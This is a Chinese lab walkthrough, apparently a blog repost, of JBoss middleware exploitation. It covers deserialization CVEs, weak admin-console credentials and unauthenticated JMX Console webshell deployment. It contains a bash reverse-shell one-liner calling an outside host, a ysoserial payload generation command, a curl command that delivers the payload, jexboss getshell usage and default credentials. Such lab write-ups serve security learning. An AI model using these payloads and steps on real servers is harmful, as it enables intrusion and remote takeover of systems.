当前位置: 首页 > news >正文

常见中间件漏洞攻略-Jboss篇

一、CVE-2015-7501-Jboss JMXInvokerServlet 反序列化漏洞

第一步:开启靶场

第二步:访问该接口,发现直接下载,说明接⼝开放,此接⼝存在反序列化漏洞

http://47.103.81.25:8080/invoker/JMXInvokerServlet
第三步:准备ysoserial⼯具进⾏漏洞利⽤,将反弹shell进⾏base64编码

#反弹shell
bash -i >& /dev/tcp/47.103.81.25/8888 0>&1

#64base编码
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuODEuMjUvODg4OCAwPiYx

#命令使用工具生成恶意文件
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuODEuMjUvODg4OCAwPiYx}|{base64,-d}|{bash,-i} ">exp.ser
第四步:服务器开启监听,终端执行命令,成功反弹shell

#执行命令
curl http://47.103.81.25:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

二、CVE-2017-7504-JBossMQ JMS 反序列化漏洞

第一步:开启靶场

第二步:访问漏洞靶场

#漏洞靶场
http://47.103.81.25:8080/jbossmq-httpil/HTTPServerILServlet
第三步:准备jexboss工具包,geshell

#运行工具,getshell
python3 jexboss.py -u http://47.103.81.25:8080

三、CVE-2017-12149-JBoss 5.x/6.x反序列化漏洞

第一步:开启靶场

第二步:验证是否存在漏洞

#漏洞存在地址
http://47.103.81.25:8080/invoker/readonly

#响应码500 --- 服务器内部错误,无法完成请求 --- 说明⻚⾯存在,此⻚⾯存在反序列化漏洞
#服务器将⽤户post请求内容进⾏反序列化
第三步:使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell

四、Administration Console弱⼝令

第一步:登陆后台

#后台地址
http://47.103.81.25:8080/admin-console/login.seam

#用户名密码
admin:vulhub
第二步:点击web应用,上传后门文件shell.war

第三步:连接webshell

#shell.jsp地址
http://47.103.81.25:8080/shell/shell.jsp

五、低版本JMX Console未授权

第一步:开启靶场

#URL
http://47.103.81.25:8080/jmx-console/

#用户名密码
admin:amdin
第二步:准备通过URL的⽅式远程部署war包

第三步:将后门文件war包上传至云服务器,并测试能否顺利访问到

第四步:填写war包地址,点击invoke跳转

第五步:连接webshell
#URL
http://47.103.81.25:8080/shell/shell.jsp	w

六、高版本JMX Console未授权

第一步:开启靶场

#URL
http://47.103.81.25:8080/jmx-console/
第二步:准备通过URL的⽅式远程部署war包cmd.war

第三步:连接webshell

#URL
http://47.103.81.25:8080/cmd/shell.jsp

                                                                                                                                FROM  IYU_ 

相关文章:

  • 多线程编程中什么时候使用锁和原子操作
  • Leetcode 3495. Minimum Operations to Make Array Elements Zero
  • 《基于Flask的态势感知系统》开题报告
  • Edge浏览器如何默认启动某个工作区 / 为工作区添加快捷方式
  • 设置GeoJSONVectorTileLayer中的line填充图片
  • C++-C++中的几种cast
  • 大数据中的数据预处理:脏数据不清,算法徒劳!
  • Codeforces Round 1011 (Div. 2) CD
  • Spring AOP + RocketMQ 实现企业级操作日志异步采集(实战全流程)
  • linux 备份工具,常用的Linux备份工具及其备份数据的语法
  • Apache漏洞再现
  • 每日算法-250323
  • 常见中间件漏洞攻略-Weblogic篇
  • Jenkins最新版,配置Gitee私人令牌和Gitee凭证
  • 2025年中国AI搜索的行业洞察报告
  • 如何使用SystemVerilog SVA检查跨时钟域信号?
  • C++多线程编程:从创建到管理的终极指南
  • VLAN章节学习
  • 万象更新(一)VTK 坐标轴、相机方向坐标轴、立方体坐标轴
  • 基于 C++ 类的程序设计模式与应用研究
  • 媒体:黑话烂梗包围小学生,“有话好好说”很难吗?
  • 上海开花区域结果,这项田径大赛为文旅商体展联动提供新样本
  • 发布亮眼一季度报后,东阿阿胶股价跌停:现金流隐忧引发争议
  • 西湖大学独家回应本科招生走出浙江:经过三年试点,条件成熟
  • 费高云调研党的建设工作:营造风清气正劲足的政治生态
  • 杭州6宗涉宅用地收金125.76亿元,萧山区地块楼面价冲破5万元/平米